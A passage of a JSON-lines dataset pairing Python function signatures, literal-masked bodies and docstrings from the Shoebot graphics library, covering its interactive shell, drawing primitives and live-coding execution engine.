"f11497:c0:m13"}
{"signature": "def do_bye(self, line):", "body": "return self.do_exit(line)<EOL>", "docstring": "Exit shell and shoebot\n\nAlias for exit.", "id": "f11497:c0:m14"}
{"signature": "def do_exit(self, line):", "body": "if self.trusted:<EOL><INDENT>publish_event(QUIT_EVENT)<EOL><DEDENT>self.print_response('<STR_LIT>')<EOL>return True<EOL>", "docstring": "Exit shell and shoebot", "id": "f11497:c0:m15"}
{"signature": "def do_quit(self, line):", "body": "return self.do_exit(line)<EOL>", "docstring": "Exit shell and shoebot\n\nAlias for exit.", "id": "f11497:c0:m16"}
{"signature": "def do_fullscreen(self, line):", "body": "self.bot.canvas.sink.trigger_fullscreen_action(True)<EOL>print(self.response_prompt, file=self.stdout)<EOL>", "docstring": "Make the current window fullscreen", "id": "f11497:c0:m17"}
{"signature": "def do_windowed(self, line):", "body": "self.bot.canvas.sink.trigger_fullscreen_action(False)<EOL>print(self.response_prompt, file=self.stdout)<EOL>", "docstring": "Un-fullscreen the current window", "id": "f11497:c0:m18"}
{"signature": "def do_EOF(self, line):", "body": "print(self.response_prompt, file=self.stdout)<EOL>return self.do_exit(line)<EOL>", "docstring": "Exit shell and shoebot\n\nAlias for exit.", "id": "f11497:c0:m19"}
{"signature": "def do_help(self, arg):", "body": "print(self.response_prompt, file=self.stdout)<EOL>return cmd.Cmd.do_help(self, arg)<EOL>", "docstring": "Show help on all commands.", "id": "f11497:c0:m20"}
{"signature": "def do_set(self, line):", "body": "try:<EOL><INDENT>name, value = [part.strip() for part in line.split('<STR_LIT:=>')]<EOL>if name not in self.bot._vars:<EOL><INDENT>self.print_response('<STR_LIT>' % name)<EOL>return<EOL><DEDENT>variable = self.bot._vars[name]<EOL>variable.value = variable.sanitize(value.strip('<STR_LIT:;>'))<EOL>success, msg = self.bot.canvas.sink.var_changed(name, variable.value)<EOL>if success:<EOL><INDENT>print('<STR_LIT>'.format(name, variable.value), file=self.stdout)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>'.format(msg), file=self.stdout)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>print('<STR_LIT>', e)<EOL>return<EOL><DEDENT>", "docstring": "Set a variable.", "id": "f11497:c0:m21"}
{"signature": "def precmd(self, line):", "body": "args = shlex.split(line or \"<STR_LIT>\")<EOL>if args and '<STR_LIT>' in args[-<NUM_LIT:1>]:<EOL><INDENT>cookie_index = line.index('<STR_LIT>')<EOL>cookie = line[cookie_index + <NUM_LIT:7>:]<EOL>line = line[:cookie_index].strip()<EOL>self.cookie = cookie<EOL><DEDENT>if line.startswith('<STR_LIT:#>'):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif '<STR_LIT:=>' in line:<EOL><INDENT>cmdname = line.partition(\"<STR_LIT:U+0020>\")[<NUM_LIT:0>]<EOL>if hasattr(self, \"<STR_LIT>\" % cmdname):<EOL><INDENT>return line<EOL><DEDENT>if not line.startswith(\"<STR_LIT>\"):<EOL><INDENT>return \"<STR_LIT>\" + line<EOL><DEDENT>else:<EOL><INDENT>return line<EOL><DEDENT><DEDENT>if len(args) and args[<NUM_LIT:0>] in self.shortcuts:<EOL><INDENT>return \"<STR_LIT>\" % (self.shortcuts[args[<NUM_LIT:0>]], \"<STR_LIT:U+0020>\".join(args[<NUM_LIT:1>:]))<EOL><DEDENT>else:<EOL><INDENT>return line<EOL><DEDENT>", "docstring": "Allow commands to have a last parameter of 'cookie=somevalue'\n\nTODO somevalue will be prepended onto any output lines so\nthat editors can distinguish output from certain kinds\nof events they have sent.\n\n:param line:\n:return:", "id": "f11497:c0:m22"}
{"signature": "def postcmd(self, stop, line):", "body": "self.cookie = None<EOL>return stop<EOL>", "docstring": "Hook method executed just after a command dispatch is finished.", "id": "f11497:c0:m23"}
{"signature": "def rect(self, x, y, width, height, roundness=<NUM_LIT:0.0>, draw=True, **kwargs):", "body": "path = self.BezierPath(**kwargs)<EOL>path.rect(x, y, width, height, roundness, self.rectmode)<EOL>if draw:<EOL><INDENT>path.draw()<EOL><DEDENT>return path<EOL>", "docstring": "Draws a rectangle with top left corner at (x,y)\n\n        The roundness variable sets rounded corners.", "id": "f11499:c0:m1"}
{"signature": "def oval(self, x, y, width, height, draw=True, **kwargs):", "body": "path = self.BezierPath(**kwargs)<EOL>path.ellipse(x, y, width, height)<EOL>if draw:<EOL><INDENT>path.draw()<EOL><DEDENT>return path<EOL>", "docstring": "Draws an ellipse starting from (x,y) -  ovals and ellipses are not the same", "id": "f11499:c0:m3"}
{"signature": "def ellipse(self, x, y, width, height, draw=True, **kwargs):", "body": "path = self.BezierPath(**kwargs)<EOL>path.ellipse(x,y,width,height)<EOL>if draw:<EOL><INDENT>path.draw()<EOL><DEDENT>return path<EOL>", "docstring": "Draws an ellipse starting from (x,y)", "id": "f11499:c0:m4"}
{"signature": "def line(self, x1, y1, x2, y2, draw=True):", "body": "p = self._path<EOL>self.newpath()<EOL>self.moveto(x1,y1)<EOL>self.lineto(x2,y2)<EOL>self.endpath(draw=draw)<EOL>self._path = p<EOL>return p<EOL>", "docstring": "Draws a line from (x1,y1) to (x2,y2)", "id": "f11499:c0:m6"}
{"signature": "def relmoveto(self, x, y):", "body": "if self._path is None:<EOL><INDENT>raise ShoebotError(_(\"<STR_LIT>\"))<EOL><DEDENT>self._path.relmoveto(x,y)<EOL>", "docstring": "Move relatively to the last point.", "id": "f11499:c0:m15"}
{"signature": "def rellineto(self, x, y):", "body": "if self._path is None:<EOL><INDENT>raise ShoebotError(_(\"<STR_LIT>\"))<EOL><DEDENT>self._path.rellineto(x,y)<EOL>", "docstring": "Draw a line using relative coordinates.", "id": "f11499:c0:m16"}
{"signature": "def relcurveto(self, h1x, h1y, h2x, h2y, x, y):", "body": "if self._path is None:<EOL><INDENT>raise ShoebotError(_(\"<STR_LIT>\"))<EOL><DEDENT>self._path.relcurveto(x,y)<EOL>", "docstring": "Draws a curve relatively to the last point.", "id": "f11499:c0:m17"}
{"signature": "def image(self, path, x, y, width=None, height=None, alpha=<NUM_LIT:1.0>, data=None, draw=True, **kwargs):", "body": "return self.Image(path, x, y, width, height, alpha, data, **kwargs)<EOL>", "docstring": "Draws a image form path, in x,y and resize it to width, height dimensions.", "id": "f11499:c0:m19"}
{"signature": "def colormode(self, mode=None, crange=None):", "body": "if mode is not None:<EOL><INDENT>if mode == \"<STR_LIT>\":<EOL><INDENT>self.color_mode = Bot.RGB<EOL><DEDENT>elif mode == \"<STR_LIT>\":<EOL><INDENT>self.color_mode = Bot.HSB<EOL><DEDENT>else:<EOL><INDENT>raise NameError(_(\"<STR_LIT>\"))<EOL><DEDENT><DEDENT>if crange is not None:<EOL><INDENT>self.color_range = crange<EOL><DEDENT>return self.color_mode<EOL>", "docstring": "Sets the current colormode (can be RGB or HSB) and eventually\n        the color range.\n\n        If called without arguments, it returns the current colormode.", "id": "f11499:c0:m29"}
{"signature": "def fill(self,*args):", "body": "self._fillcolor = self.color(*args)<EOL>return self._fillcolor<EOL>", "docstring": "Sets a fill color, applying it to new paths.", "id": "f11499:c0:m31"}
{"signature": "def nofill(self):", "body": "self._fillcolor = None<EOL>", "docstring": "Stop applying fills to new paths.", "id": "f11499:c0:m32"}
{"signature": "def stroke(self,*args):", "body": "self._strokecolor = self.color(*args)<EOL>return self._strokecolor<EOL>", "docstring": "Set a stroke color, applying it to new paths.", "id": "f11499:c0:m33"}
{"signature": "def nostroke(self):", "body": "self._strokecolor = None<EOL>", "docstring": "Stop applying strokes to new paths.", "id": "f11499:c0:m34"}
{"signature": "def strokewidth(self, w=None):", "body": "if w is not None:<EOL><INDENT>self._strokewidth = w<EOL><DEDENT>else:<EOL><INDENT>return self._strokewidth<EOL><DEDENT>", "docstring": "Set the stroke width.", "id": "f11499:c0:m35"}
{"signature": "def background(self,*args):", "body": "self._canvas.background = self.color(*args)<EOL>", "docstring": "Set the background colour.", "id": "f11499:c0:m36"}
{"signature": "def font(self, fontpath=None, fontsize=None):", "body": "if fontpath is not None:<EOL><INDENT>self._canvas.fontfile = fontpath<EOL><DEDENT>else:<EOL><INDENT>return self._canvas.fontfile<EOL><DEDENT>if fontsize is not None:<EOL><INDENT>self._canvas.fontsize = fontsize<EOL><DEDENT>", "docstring": "Set the font to be used with new text instances.\n\n        Accepts any font Pango can recognize", "id": "f11499:c0:m37"}
{"signature": "def text(self, txt, x, y, width=None, height=<NUM_LIT>, outline=False, draw=True, **kwargs):", "body": "txt = self.Text(txt, x, y, width, height, outline=outline, ctx=None, **kwargs)<EOL>if outline:<EOL><INDENT>path = txt.path<EOL>if draw:<EOL><INDENT>path.draw()<EOL><DEDENT>return path<EOL><DEDENT>else:<EOL><INDENT>return txt<EOL><DEDENT>", "docstring": "Draws a string of text according to current font settings.", "id": "f11499:c0:m39"}
{"signature": "def textpath(self, txt, x, y, width=None, height=<NUM_LIT>, enableRendering=False, **kwargs):", "body": "txt = self.Text(txt, x, y, width, height, **kwargs)<EOL>path = txt.path<EOL>if draw:<EOL><INDENT>path.draw()<EOL><DEDENT>return path<EOL>", "docstring": "Draws an outlined path of the input text", "id": "f11499:c0:m40"}
{"signature": "def textmetrics(self, txt, width=None, height=None, **kwargs):", "body": "<EOL>txt = self.Text(txt, <NUM_LIT:0>, <NUM_LIT:0>, width, height, enableRendering=False, **kwargs)<EOL>return txt.metrics<EOL>", "docstring": "Returns the width and height of a string of text as a tuple\n        (according to current font settings).", "id": "f11499:c0:m41"}
{"signature": "def textwidth(self, txt, width=None):", "body": "w = width<EOL>return self.textmetrics(txt, width=w)[<NUM_LIT:0>]<EOL>", "docstring": "Returns the width of a string of text according to the current\n        font settings.", "id": "f11499:c0:m42"}
{"signature": "def textheight(self, txt, width=None):", "body": "w = width<EOL>return self.textmetrics(txt, width=w)[<NUM_LIT:1>]<EOL>", "docstring": "Returns the height of a string of text according to the current\n        font settings.", "id": "f11499:c0:m43"}
{"signature": "def __init__(self, canvas, namespace=None, vars=None):", "body": "Grammar.__init__(self, canvas, namespace=namespace, vars=vars)<EOL>canvas.set_bot(self)<EOL>self._autoclosepath = True<EOL>self._path = None<EOL>if self._input_device:<EOL><INDENT>for key_name, value in self._input_device.get_key_map().items():<EOL><INDENT>self._namespace[key_name] = value<EOL>setattr(self, key_name, value)<EOL><DEDENT><DEDENT>self._canvas.size = None<EOL>self._frame = <NUM_LIT:1><EOL>self._set_initial_defaults()<EOL>", "docstring": ":param canvas: Canvas implementation for output.\n:param namespace: Optionally specify a dict to inject as namespace\n:param vars: Optional dict containing initial values for variables", "id": "f11500:c0:m0"}
{"signature": "def _set_initial_defaults(self):", "body": "DEFAULT_WIDTH, DEFAULT_HEIGHT = self._canvas.DEFAULT_SIZE<EOL>self.WIDTH = self._namespace.get('<STR_LIT>', DEFAULT_WIDTH)<EOL>self.HEIGHT = self._namespace.get('<STR_LIT>', DEFAULT_WIDTH)<EOL>if '<STR_LIT>' in self._namespace or '<STR_LIT>' in self._namespace:<EOL><INDENT>self.size(w=self._namespace.get('<STR_LIT>'), h=self._namespace.get('<STR_LIT>'))<EOL><DEDENT>self._transformmode = Bot.CENTER<EOL>self._canvas.settings(<EOL>fontfile=\"<STR_LIT>\",<EOL>fontsize=<NUM_LIT:16>,<EOL>align=Bot.LEFT,<EOL>lineheight=<NUM_LIT:1>,<EOL>fillcolor=self.color(<NUM_LIT>),<EOL>strokecolor=None,<EOL>strokewidth=<NUM_LIT:1.0>,<EOL>background=self.color(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>))<EOL>", "docstring": "Set the default values. Called at __init__ and at the end of run(),\n        do that new draw loop iterations don't take up values left over by the\n        previous one.", "id": "f11500:c0:m1"}
{"signature": "def _mouse_button_down(self, button):", "body": "self._namespace['<STR_LIT>'] = True<EOL>", "docstring": "GUI callback for mouse button down", "id": "f11500:c0:m3"}
{"signature": "def _mouse_button_up(self, button):", "body": "self._namespace['<STR_LIT>'] = self._input_device.mouse_down<EOL>", "docstring": "GUI callback for mouse button up", "id": "f11500:c0:m4"}
{"signature": "def _mouse_pointer_moved(self, x, y):", "body": "self._namespace['<STR_LIT>'] = x<EOL>self._namespace['<STR_LIT>'] = y<EOL>", "docstring": "GUI callback for mouse moved", "id": "f11500:c0:m5"}
{"signature": "def _key_pressed(self, key, keycode):", "body": "self._namespace['<STR_LIT:key>'] = key<EOL>self._namespace['<STR_LIT>'] = keycode<EOL>self._namespace['<STR_LIT>'] = True<EOL>", "docstring": "GUI callback for key pressed", "id": "f11500:c0:m6"}
{"signature": "def _key_released(self, key, keycode):", "body": "self._namespace['<STR_LIT>'] = self._input_device.key_down<EOL>", "docstring": "GUI callback for key released", "id": "f11500:c0:m7"}
{"signature": "def setup(self):", "body": "pass<EOL>", "docstring": "For override by user sketch", "id": "f11500:c0:m8"}
{"signature": "def draw(self):", "body": "self._dynamic = False<EOL>", "docstring": "For override by user sketch", "id": "f11500:c0:m9"}
{"signature": "def _makeInstance(self, clazz, args, kwargs):", "body": "inst = clazz(self, *args, **kwargs)<EOL>return inst<EOL>", "docstring": "Creates an instance of a class defined in this document.\n           This method sets the context of the object to the current context.", "id": "f11500:c0:m10"}
{"signature": "def _makeColorableInstance(self, clazz, args, kwargs):", "body": "kwargs = dict(kwargs)<EOL>fill = kwargs.get('<STR_LIT>', self._canvas.fillcolor)<EOL>if not isinstance(fill, Color):<EOL><INDENT>fill = Color(fill, mode='<STR_LIT>', color_range=<NUM_LIT:1>)<EOL><DEDENT>kwargs['<STR_LIT>'] = fill<EOL>stroke = kwargs.get('<STR_LIT>', self._canvas.strokecolor)<EOL>if not isinstance(stroke, Color):<EOL><INDENT>stroke = Color(stroke, mode='<STR_LIT>', color_range=<NUM_LIT:1>)<EOL><DEDENT>kwargs['<STR_LIT>'] = stroke<EOL>kwargs['<STR_LIT>'] = kwargs.get('<STR_LIT>', self._canvas.strokewidth)<EOL>inst = clazz(self, *args, **kwargs)<EOL>return inst<EOL>", "docstring": "Create an object, if fill, stroke or strokewidth\nis not specified, get them from the _canvas\n\n:param clazz:\n:param args:\n:param kwargs:\n:return:", "id": "f11500:c0:m11"}
{"signature": "def color(self, *args):", "body": "return self.Color(mode=self.color_mode, color_range=self.color_range, *args)<EOL>", "docstring": ":param args: color in a supported format.\n\n:return: Color object containing the color.", "id": "f11500:c0:m22"}
{"signature": "def grid(self, cols, rows, colSize=<NUM_LIT:1>, rowSize=<NUM_LIT:1>, shuffled=False):", "body": "<EOL>from random import shuffle<EOL>rowRange = range(int(rows))<EOL>colRange = range(int(cols))<EOL>if (shuffled):<EOL><INDENT>shuffle(rowRange)<EOL>shuffle(colRange)<EOL><DEDENT>for y in rowRange:<EOL><INDENT>for x in colRange:<EOL><INDENT>yield (x * colSize, y * rowSize)<EOL><DEDENT><DEDENT>", "docstring": "Returns an iterator that contains coordinate tuples.\n        The grid can be used to quickly create grid-like structures.\n        A common way to use them is:\n            for x, y in grid(10,10,12,12):\n                rect(x,y, 10,10)", "id": "f11500:c0:m24"}
{"signature": "def files(self, path=\"<STR_LIT:*>\"):", "body": "<EOL>return glob(path)<EOL>", "docstring": "Returns a list of files.\n        You can use wildcards to specify which files to pick, e.g.\n            f = files('*.gif')\n\n        :param path: wildcard to use in file list.", "id": "f11500:c0:m25"}
{"signature": "def snapshot(self, target=None, defer=None, autonumber=False):", "body": "if autonumber:<EOL><INDENT>file_number = self._frame<EOL><DEDENT>else:<EOL><INDENT>file_number = None<EOL><DEDENT>if isinstance(target, cairo.Surface):<EOL><INDENT>if defer is None:<EOL><INDENT>self._canvas.snapshot(surface, defer)<EOL>defer = False<EOL><DEDENT>ctx = cairo.Context(target)<EOL>self._canvas._drawqueue.render(ctx)<EOL>return<EOL><DEDENT>elif target is None:<EOL><INDENT>script_file = self._namespace.get('<STR_LIT>')<EOL>if script_file:<EOL><INDENT>target = os.path.splitext(script_file)[<NUM_LIT:0>] + '<STR_LIT>'<EOL>file_number = True<EOL><DEDENT><DEDENT>if target:<EOL><INDENT>if defer is None:<EOL><INDENT>defer = True<EOL><DEDENT>self._canvas.snapshot(target, defer=defer, file_number=file_number)<EOL><DEDENT>else:<EOL><INDENT>raise ShoebotError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Save the contents of current surface into a file or cairo surface/context\n\n        :param filename: Can be a filename or a Cairo surface.\n        :param defer: If true, buffering/threading may be employed however output will not be immediate.\n        :param autonumber: If true then a number will be appended to the filename.", "id": "f11500:c0:m26"}
{"signature": "def show(self, format='<STR_LIT>', as_data=False):", "body": "from io import BytesIO<EOL>b = BytesIO()<EOL>if format == '<STR_LIT>':<EOL><INDENT>from IPython.display import Image<EOL>surface = cairo.ImageSurface(cairo.FORMAT_ARGB32, self.WIDTH, self.HEIGHT)<EOL>self.snapshot(surface)<EOL>surface.write_to_png(b)<EOL>b.seek(<NUM_LIT:0>)<EOL>data = b.read()<EOL>if as_data:<EOL><INDENT>return data<EOL><DEDENT>else:<EOL><INDENT>return Image(data)<EOL><DEDENT><DEDENT>elif format == '<STR_LIT>':<EOL><INDENT>from IPython.display import SVG<EOL>surface = cairo.SVGSurface(b, self.WIDTH, self.HEIGHT)<EOL>surface.finish()<EOL>b.seek(<NUM_LIT:0>)<EOL>data = b.read()<EOL>if as_data:<EOL><INDENT>return data<EOL><DEDENT>else:<EOL><INDENT>return SVG(data)<EOL><DEDENT><DEDENT>", "docstring": "Returns an Image object of the current surface. Used for displaying\n        output in Jupyter notebooks. Adapted from the cairo-jupyter project.", "id": "f11500:c0:m27"}
{"signature": "def ximport(self, libName):", "body": "<EOL>lib = __import__(libName)<EOL>self._namespace[libName] = lib<EOL>lib._ctx = self<EOL>return lib<EOL>", "docstring": "Import Nodebox libraries.\n\nThe libraries get _ctx, which provides\nthem with the nodebox API.\n\n:param libName: Library name to import", "id": "f11500:c0:m28"}
{"signature": "def size(self, w=None, h=None):", "body": "if not w:<EOL><INDENT>w = self._canvas.width<EOL><DEDENT>if not h:<EOL><INDENT>h = self._canvas.height<EOL><DEDENT>if not w and not h:<EOL><INDENT>return (self._canvas.width, self._canvas.height)<EOL><DEDENT>w, h = self._canvas.set_size((w, h))<EOL>self._namespace['<STR_LIT>'] = w<EOL>self._namespace['<STR_LIT>'] = h<EOL>self.WIDTH = w  <EOL>self.HEIGHT = h<EOL>", "docstring": "Set the canvas size\n\n        Only the first call will actually be effective.\n\n        :param w: Width\n        :param h: height", "id": "f11500:c0:m29"}
{"signature": "def speed(self, framerate=None):", "body": "if framerate is not None:<EOL><INDENT>self._speed = framerate<EOL>self._dynamic = True<EOL><DEDENT>else:<EOL><INDENT>return self._speed<EOL><DEDENT>", "docstring": "Set animation framerate.\n\n        :param framerate: Frames per second to run bot.\n        :return: Current framerate of animation.", "id": "f11500:c0:m30"}
{"signature": "@property<EOL><INDENT>def is_edited(self):<DEDENT>", "body": "return self.edited_source is not None<EOL>", "docstring": ":return: True if source has been edited", "id": "f11501:c0:m1"}
{"signature": "def load_edited_source(self, source, good_cb=None, bad_cb=None, filename=None):", "body": "with LiveExecution.lock:<EOL><INDENT>self.good_cb = good_cb<EOL>self.bad_cb = bad_cb<EOL>try:<EOL><INDENT>compile(source + '<STR_LIT>', filename or self.filename, \"<STR_LIT>\")<EOL>self.edited_source = source<EOL><DEDENT>except Exception as e:<EOL><INDENT>if bad_cb:<EOL><INDENT>self.edited_source = None<EOL>tb = traceback.format_exc()<EOL>self.call_bad_cb(tb)<EOL><DEDENT>return<EOL><DEDENT>if filename is not None:<EOL><INDENT>self.filename = filename<EOL><DEDENT><DEDENT>", "docstring": "Load changed code into the execution environment.\n\nUntil the code is executed correctly, it will be\nin the 'tenuous' state.", "id": "f11501:c0:m2"}
{"signature": "def reload_functions(self):", "body": "with LiveExecution.lock:<EOL><INDENT>if self.edited_source:<EOL><INDENT>tree = ast.parse(self.edited_source)<EOL>for f in [n for n in ast.walk(tree) if isinstance(n, ast.FunctionDef)]:<EOL><INDENT>self.ns[f.name].__code__ = meta.decompiler.compile_func(f, self.filename, self.ns).__code__<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Replace functions in namespace with functions from edited_source.", "id": "f11501:c0:m3"}
{"signature": "def do_exec(self, source, ns):", "body": "exec(source, ns)<EOL>", "docstring": "Override if you want to do something other than exec in ns\n\ntenuous is True if the source has just been edited and may fail", "id": "f11501:c0:m4"}
{"signature": "def run_tenuous(self):", "body": "with LiveExecution.lock:<EOL><INDENT>ns_snapshot = copy.copy(self.ns)<EOL>try:<EOL><INDENT>source = self.edited_source<EOL>self.edited_source = None<EOL>self.do_exec(source, ns_snapshot)<EOL>self.known_good = source<EOL>self.call_good_cb()<EOL>return True, None<EOL><DEDENT>except Exception as ex:<EOL><INDENT>tb = traceback.format_exc()<EOL>self.call_bad_cb(tb)<EOL>self.ns.clear()<EOL>self.ns.update(ns_snapshot)<EOL>return False, ex<EOL><DEDENT><DEDENT>", "docstring": "Run edited source, if no exceptions occur then it\ngraduates to known good.", "id": "f11501:c0:m5"}
{"signature": "def run(self):", "body": "with LiveExecution.lock:<EOL><INDENT>if self.edited_source:<EOL><INDENT>success, ex = self.run_tenuous()<EOL>if success:<EOL><INDENT>return<EOL><DEDENT><DEDENT>self.do_exec(self.known_good, self.ns)<EOL><DEDENT>", "docstring": "Attempt to known good or tenuous source.", "id": "f11501:c0:m6"}
{"signature": "def clear_callbacks(self):", "body": "with LiveExecution.lock:<EOL><INDENT>self.bad_cb = None<EOL>self.good_cb = None<EOL><DEDENT>", "docstring": "clear the good and bad callbacks", "id": "f11501:c0:m7"}
{"signature": "def call_bad_cb(self, tb):", "body": "with LiveExecution.lock:<EOL><INDENT>if self.bad_cb and not self.bad_cb(tb):<EOL><INDENT>self.bad_cb = None<EOL><DEDENT><DEDENT>", "docstring": "If bad_cb returns True then keep it\n:param tb: traceback that caused exception\n:return:", "id": "f11501:c0:m8"}
{"signature": "def call_good_cb(self):", "body": "with LiveExecution.lock:<EOL><INDENT>if self.good_cb and not self.good_cb():<EOL><INDENT>self.good_cb = None<EOL><DEDENT><DEDENT>", "docstring": "If good_cb returns True then keep it\n:return:", "id": "f11501:c0:m9"}
{"signature": "@contextlib.contextmanager<EOL><INDENT>def run_context(self):<DEDENT>", "body": "with LiveExecution.lock:<EOL><INDENT>if self.edited_source is None:<EOL><INDENT>yield True, self.known_good, self.ns<EOL>return<EOL><DEDENT>ns_snapshot = copy.copy(self.ns)<EOL>try:<EOL><INDENT>yield False, self.edited_source, self.ns<EOL>self.known_good = self.edited_source<EOL>self.edited_source = None<EOL>self.call_good_cb()<EOL>return<EOL><DEDENT>except Exception as ex:<EOL><INDENT>tb = traceback.format_exc()<EOL>self.call_bad_cb(tb)<EOL>self.edited_source = None<EOL>self.ns.clear()<EOL>self.ns.update(ns_snapshot)<EOL><DEDENT><DEDENT>", "docstring": "Context in which the user can run the source in a custom manner.\n\nIf no exceptions occur then the source will move from 'tenuous'\nto 'known good'.\n\n>>> with run_context() as (known_good, source, ns):\n>>> ...  exec source in ns\n>>> ...  ns['draw']()", "id": "f11501:c0:m10"}
{"signature": "def _load_namespace(self, namespace, filename=None):", "body": "from shoebot import data<EOL>for name in dir(data):<EOL><INDENT>namespace[name] = getattr(data, name)<EOL><DEDENT>for name in dir(self):<EOL><INDENT>if name[<NUM_LIT:0>] != '<STR_LIT:_>':<EOL><INDENT>namespace[name] = getattr(self, name)<EOL><DEDENT><DEDENT>namespace['<STR_LIT>'] = self  <EOL>namespace['<STR_LIT>'] = filename<EOL>", "docstring": "Initialise bot namespace with info in shoebot.data\n\n:param filename: Will be set to __file__ in the namespace", "id": "f11502:c0:m1"}
{"signature": "def _should_run(self, iteration, max_iterations):", "body": "if iteration == <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>if max_iterations:<EOL><INDENT>if iteration < max_iterations:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>elif max_iterations is None:<EOL><INDENT>if self._dynamic:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL><DEDENT>if not self._dynamic:<EOL><INDENT>return False<EOL><DEDENT>return False<EOL>", "docstring": "Return False if bot should quit", "id": "f11502:c0:m2"}
{"signature": "def _frame_limit(self, start_time):", "body": "if self._speed:<EOL><INDENT>completion_time = time()<EOL>exc_time = completion_time - start_time<EOL>sleep_for = (<NUM_LIT:1.0> / abs(self._speed)) - exc_time<EOL>if sleep_for > <NUM_LIT:0>:<EOL><INDENT>sleep(sleep_for)<EOL><DEDENT><DEDENT>", "docstring": "Limit to framerate, should be called after\nrendering has completed\n\n:param start_time: When execution started", "id": "f11502:c0:m3"}
{"signature": "def _run_frame(self, executor, limit=False, iteration=<NUM_LIT:0>):", "body": "<EOL>start_time = time()<EOL>if iteration != <NUM_LIT:0> and self._speed != <NUM_LIT:0>:<EOL><INDENT>self._canvas.reset_canvas()<EOL><DEDENT>self._set_dynamic_vars()<EOL>if iteration == <NUM_LIT:0>:<EOL><INDENT>executor.run()<EOL>executor.ns['<STR_LIT>']()<EOL>executor.ns['<STR_LIT>']()<EOL>self._canvas.flush(self._frame)<EOL><DEDENT>else:<EOL><INDENT>if self._dynamic:<EOL><INDENT>if self._speed != <NUM_LIT:0>:  <EOL><INDENT>with executor.run_context() as (known_good, source, ns):<EOL><INDENT>if not known_good:<EOL><INDENT>executor.reload_functions()<EOL>with VarListener.batch(self._vars, self._oldvars, ns):<EOL><INDENT>self._oldvars.clear()<EOL>exec(source, ns)<EOL><DEDENT><DEDENT>ns['<STR_LIT>']()<EOL>self._canvas.flush(self._frame)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>with executor.run_context() as (known_good, source, ns):<EOL><INDENT>if not known_good:<EOL><INDENT>executor.reload_functions()<EOL>with VarListener.batch(self._vars, self._oldvars, ns):<EOL><INDENT>self._oldvars.clear()<EOL>exec(source, ns)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>exec(source, ns)<EOL><DEDENT>self._canvas.flush(self._frame)<EOL><DEDENT><DEDENT><DEDENT>if limit:<EOL><INDENT>self._frame_limit(start_time)<EOL><DEDENT>if self._speed > <NUM_LIT:0>:<EOL><INDENT>self._frame += <NUM_LIT:1><EOL><DEDENT>elif self._speed < <NUM_LIT:0>:<EOL><INDENT>self._frame -= <NUM_LIT:1><EOL><DEDENT>", "docstring": "Run single frame of the bot\n\n        :param source_or_code: path to code to run, or actual code.\n        :param limit: Time a frame should take to run (float - seconds)", "id": "f11502:c0:m4"}
{"signature": "def run(self, inputcode, iterations=None, run_forever=False, frame_limiter=False, verbose=False,<EOL>break_on_error=False):", "body": "source = None<EOL>filename = None<EOL>if os.path.isfile(inputcode):<EOL><INDENT>source = open(inputcode).read()<EOL>filename = inputcode<EOL><DEDENT>elif isinstance(inputcode, str):<EOL><INDENT>filename = '<STR_LIT>'<EOL>source = inputcode<EOL><DEDENT>self._load_namespace(self._namespace, filename)<EOL>self._executor = executor = LiveExecution(source, ns=self._namespace, filename=filename)<EOL>try:<EOL><INDENT>if not iterations:<EOL><INDENT>if run_forever:<EOL><INDENT>iterations = None<EOL><DEDENT>else:<EOL><INDENT>iterations = <NUM_LIT:1><EOL><DEDENT><DEDENT>iteration = <NUM_LIT:0><EOL>event = None<EOL>while iteration != iterations and not event_is(event, QUIT_EVENT):<EOL><INDENT>self._run_frame(executor, limit=frame_limiter, iteration=iteration)<EOL>if iteration == <NUM_LIT:0>:<EOL><INDENT>self._initial_namespace = copy.copy(self._namespace)  <EOL><DEDENT>iteration += <NUM_LIT:1><EOL>while self._should_run(iteration, iterations) and event is None:<EOL><INDENT>iteration += <NUM_LIT:1><EOL>self._run_frame(executor, limit=frame_limiter, iteration=iteration)<EOL>event = next_event()<EOL>if not event:<EOL><INDENT>self._canvas.sink.main_iteration()  <EOL><DEDENT><DEDENT>while run_forever:<EOL><INDENT>while event is None:<EOL><INDENT>self._canvas.sink.main_iteration()<EOL>event = next_event(block=True, timeout=<NUM_LIT>)<EOL>if not event:<EOL><INDENT>self._canvas.sink.main_iteration()  <EOL><DEDENT><DEDENT>if event.type == QUIT_EVENT:<EOL><INDENT>break<EOL><DEDENT>elif event.type == SOURCE_CHANGED_EVENT:<EOL><INDENT>while event and event.type == SOURCE_CHANGED_EVENT:<EOL><INDENT>event = next_event(block=True, timeout=<NUM_LIT>)<EOL><DEDENT><DEDENT>elif event.type == SET_WINDOW_TITLE:<EOL><INDENT>self._canvas.sink.set_title(event.data)<EOL><DEDENT>event = None  <EOL>break<EOL><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>import sys<EOL>if verbose:<EOL><INDENT>errmsg = traceback.format_exc()<EOL><DEDENT>else:<EOL><INDENT>errmsg = simple_traceback(e, executor.known_good or '<STR_LIT>')<EOL><DEDENT>print(errmsg, file=sys.stderr)<EOL>if break_on_error:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Executes the contents of a Nodebox/Shoebot script\nin current surface's context.\n\n:param inputcode: Path to shoebot source or string containing source\n:param iterations: None or Maximum amount of frames to run\n:param run_forever: If True then run until user quits the bot\n:param frame_limiter: If True then sleep between frames to respect speed() command.", "id": "f11502:c0:m5"}
